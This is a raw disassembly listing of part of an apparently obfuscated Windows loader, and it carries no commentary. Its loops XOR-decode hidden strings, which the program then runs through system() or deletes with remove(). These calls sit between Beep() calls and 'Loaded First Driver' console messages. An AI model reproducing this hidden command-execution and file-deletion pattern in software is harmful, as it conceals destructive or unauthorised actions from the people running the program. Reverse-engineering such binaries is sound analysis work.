mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x43
jl 0x140052b10
lea rcx, [rbp + 0x508]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movzx eax, word [0x1400abf68]
movups xmm1, xmmword [0x1400abf58]
movups xmm0, xmmword [0x1400abf48]
mov word [rbp + 0x388], ax
movups xmmword [rbp + 0x378], xmm1
movups xmmword [rbp + 0x368], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x140052ccd
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x36c]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140052bc2
cmp r8d, 0x22
jge 0x140052d13
movsxd rax, r8d
lea r9, [rbp + 0x368]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140052ce0
lea rcx, [rbp + 0x368]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movzx eax, byte [0x1400abf90]
movups xmm1, xmmword [0x1400abf80]
movups xmm0, xmmword [str.s_vnd__RXOJfhENJZ_rp]
mov byte [rbp + 0x3cc], al
movups xmmword [rbp + 0x3bc], xmm1
movups xmmword [rbp + 0x3ac], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x140052e9c
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x3b0]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140052d91
cmp r8d, 0x21
jge 0x140052ee3
movsxd rax, r8d
lea r9, [rbp + 0x3ac]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140052eb0
lea rcx, [rbp + 0x3ac]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
mov eax, dword [str.S_A3_n_n]
mov dword [rbp - 0x29], eax
cmp byte [0x1400abf97], 0
je 0x140052fe3
cmp r12d, 2
jl 0x140052fa5
movdqa xmm3, xmmword [0x1400aada0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400ad050]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400ad050]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [str.9999]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400acfb0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x29], xmm2
jmp 0x140052fe3
lea r9, [rbp - 0x29]
mov r8d, r13d
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140052fb0
lea rcx, [rbp - 0x29]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x280], r13
mov qword [rbp + 0x288], reloc.WS2_32.dll_ntohs
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x270]
call fcn.14000a6b0
mov qword [rbp + 0x270], rax
mov qword [rbp + 0x280], reloc.WS2_32.dll_sendto
mov qword [rbp + 0x288], rsi
movups xmm0, xmmword [str._Loaded_First_Driver]
movups xmmword [rax], xmm0
mov edx, dword [0x1400aca30]
mov dword [rax + 0x10], edx
mov byte [rax + 0x14], 0
mov dword [rbp + 0x290], reloc.WLDAP32.dll_Ordinal_35
lea rdx, [rbp + 0x270]
mov rcx, rbx
call fcn.1400488b0
nop
mov rdx, qword [rbp + 0x288]
cmp rdx, 0x10
jb 0x1400530ac
inc rdx
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400530a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054b43
call fcn.1400a24cc
mov qword [rbp + 0x280], r13
mov qword [rbp + 0x288], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x270], 0
mov edx, Ordinal_301
lea ecx, [rdx + 0x19]
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, Ordinal_301
lea ecx, [rdx + 0x19]
call qword [sym.imp.KERNEL32.dll_Beep]
mov dword [rsp + 0x75], 0xe9f5fb
mov byte [rsp + 0x79], 1
mov rcx, r13
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x68]
xor byte [rsp + rcx + 0x75], al
inc rcx
cmp rcx, 3
jb 0x140053100
mov byte [rsp + 0x79], 0
lea rcx, [rsp + 0x75]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x14004f43c
cmp ecx, 1
jne 0x140053e7d
lea rcx, [0x1400abfd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0xcc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xcd8], xmm1
mov r8d, Ordinal_26
lea rdx, str._Load_First_driver..._n_n_n
lea rcx, [rbp + 0xcc8]
call fcn.1400468f0
mov dword [rbp + 0xce8], reloc.WLDAP32.dll_Ordinal_35
lea rdx, [rbp + 0xcc8]
mov rcx, rbx
call fcn.1400488b0
nop
lea rcx, [rbp + 0xcc8]
call fcn.140009970
movups xmm0, xmmword [0x1400ab670]
movups xmmword [rbp + 0x1036], xmm0
movups xmm1, xmmword [0x1400ab680]
movups xmmword [rbp + 0x1046], xmm1
movups xmm0, xmmword [0x1400ab690]
movups xmmword [rbp + 0x1056], xmm0
movups xmm1, xmmword [0x1400ab6a0]
movups xmmword [rbp + 0x1066], xmm1
movups xmm0, xmmword [0x1400ab6b0]
movups xmmword [rbp + 0x1076], xmm0
movups xmm1, xmmword [0x1400ab6c0]
movups xmmword [rbp + 0x1086], xmm1
movups xmm0, xmmword [0x1400ab6d0]
movups xmmword [rbp + 0x1096], xmm0
movups xmm1, xmmword [0x1400ab6e0]
movups xmmword [rbp + 0x10a6], xmm1
movups xmm0, xmmword [0x1400ab6f0]
movups xmmword [rbp + 0x10b6], xmm0
mov eax, dword [0x1400ab700]
mov dword [rbp + 0x10c6], eax
movzx eax, word [0x1400ab704]
mov word [rbp + 0x10ca], ax
mov r8d, r13d
cmp r12d, 2
jl 0x140053391
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x103a]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140053280
cmp r8d, 0x96
jge 0x1400533d6
movsxd rax, r8d
lea r9, [rbp + 0x1036]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x1400533a0
lea rcx, [rbp + 0x1036]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400ab710]
movups xmmword [rbp + 0x628], xmm0
movups xmm0, xmmword [0x1400ab730]
movups xmm1, xmmword [0x1400ab720]
movups xmmword [rbp + 0x648], xmm0
movups xmmword [rbp + 0x638], xmm1
mov eax, dword [0x1400ab7a0]
movups xmm0, xmmword [0x1400ab750]
movups xmm1, xmmword [0x1400ab740]
mov dword [rbp + 0x6b8], eax
movups xmmword [rbp + 0x668], xmm0
movups xmmword [rbp + 0x658], xmm1
movzx eax, word [0x1400ab7a4]
movups xmm0, xmmword [0x1400ab770]
movups xmm1, xmmword [0x1400ab760]
mov word [rbp + 0x6bc], ax
movups xmmword [rbp + 0x688], xmm0
movups xmmword [rbp + 0x678], xmm1
movzx eax, byte [0x1400ab7a6]
movups xmm0, xmmword [0x1400ab790]
movups xmm1, xmmword [0x1400ab780]
mov byte [rbp + 0x6be], al
movups xmmword [rbp + 0x6a8], xmm0
movups xmmword [rbp + 0x698], xmm1
mov r8d, r13d
cmp r12d, 2
jl 0x1400535e1
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x62c]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x1400534d0
cmp r8d, 0x97
jge 0x140053626
movsxd rax, r8d
lea r9, [rbp + 0x628]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x1400535f0
lea rcx, [rbp + 0x628]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
mov eax, dword [0x1400ab7f0]
movups xmm1, xmmword [0x1400ab7c0]
movups xmm0, xmmword [0x1400ab7b0]
mov dword [rbp + 0x613], eax
movups xmmword [rbp + 0x5e3], xmm1
movups xmmword [rbp + 0x5d3], xmm0
movzx eax, byte [0x1400ab7f4]
movups xmm1, xmmword [0x1400ab7e0]
movups xmm0, xmmword [0x1400ab7d0]
mov byte [rbp + 0x617], al
movups xmmword [rbp + 0x603], xmm1
movups xmmword [rbp + 0x5f3], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x1400537eb
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x5d7]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x1400536e0
cmp r8d, 0x45
jge 0x140053833
movsxd rax, r8d
lea r9, [rbp + 0x5d3]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x45
jl 0x140053800
lea rcx, [rbp + 0x5d3]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movzx eax, word [0x1400ab818]
movups xmm1, xmmword [0x1400ab808]
movups xmm0, xmmword [0x1400ab7f8]
mov word [rbp + 0x3aa], ax
movups xmmword [rbp + 0x39a], xmm1
movups xmmword [rbp + 0x38a], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x1400539bd
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x38e]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400538b2
cmp r8d, 0x22
jge 0x140053a03
movsxd rax, r8d
lea r9, [rbp + 0x38a]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x1400539d0
lea rcx, [rbp + 0x38a]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movzx eax, word [0x1400ab840]
mov word [rbp + 0x32f], ax
movzx eax, byte [0x1400ab842]
movups xmm1, xmmword [0x1400ab830]
movups xmm0, xmmword [0x1400ab820]
mov byte [rbp + 0x331], al
movups xmmword [rbp + 0x31f], xmm1
movups xmmword [rbp + 0x30f], xmm0
mov ecx, r13d
cmp r12d, 2
jl 0x140053b98
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rbp + 0x313]
mov r8d, dword [rsp + 0x60]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140053a90
cmp ecx, 0x23
jge 0x140053bde
movsxd rax, ecx
lea r8, [rbp + 0x30f]
add r8, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x23
jl 0x140053bb0
lea rcx, [rbp + 0x30f]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
mov eax, dword [str.S_A3S_A3]
mov dword [rbp - 0x25], eax
cmp byte [0x1400ab847], 0
je 0x140053ce3
cmp r12d, 2
jl 0x140053ca0
movdqa xmm3, xmmword [0x1400aada0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400ad050]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400ad050]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [str.9999]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400acfb0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x25], xmm2
jmp 0x140053ce3
lea r9, [rbp - 0x25]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140053cb0
lea rcx, [rbp - 0x25]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0xca0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xcb0], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str._Loaded_First_Driver
lea rcx, [rbp + 0xca0]
call fcn.1400468f0
mov dword [rbp + 0xcc0], reloc.WLDAP32.dll_Ordinal_35
lea rdx, [rbp + 0xca0]
mov rcx, rbx
call fcn.1400488b0
nop
lea rcx, [rbp + 0xca0]
call fcn.140009970
mov dword [rbp - 0x5b], 0xe9f5fb
mov byte [rbp - 0x57], 1
lea rcx, [rbp - 0x5b]
call fcn.14004ce70
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp - 0x6b], 0x1009392
